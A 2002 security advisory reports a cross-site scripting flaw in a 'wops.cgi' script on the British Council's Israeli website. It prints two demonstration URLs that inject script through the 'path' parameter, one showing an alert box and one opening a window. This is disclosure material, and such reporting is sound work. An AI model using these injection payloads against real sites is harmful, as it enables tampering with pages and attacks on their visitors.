[NEWS] Britcoun.org Cross Site Scripting via Wops.cgi

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Date: 07/12/02 

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Date: Fri, 12 Jul 2002 08:09:59 +0200 (CEST)

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  Britcoun.org Cross Site Scripting via Wops.cgi
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SUMMARY

A cross-site scripting vulnerability in the British Council is possible
through the usage of its vulnerable wops.cgi CGI. This vulnerability would
allow attackers to insert malicious content into the web site.

DETAILS

Exploit:
To display a blank message box:
http://www.britcoun.org.il/cgi-bin/wops.cgi?path=>alert()</script>

To open a window to Yahoo.com
http://www.britcoun.org.il/cgi-bin/wops.cgi?path=>window.open('http://www.yahoo.com')</script>

Workaround:
Disable ActiveX/JavaScript.

ADDITIONAL INFORMATION

The information has been provided by p0p t4rtz.

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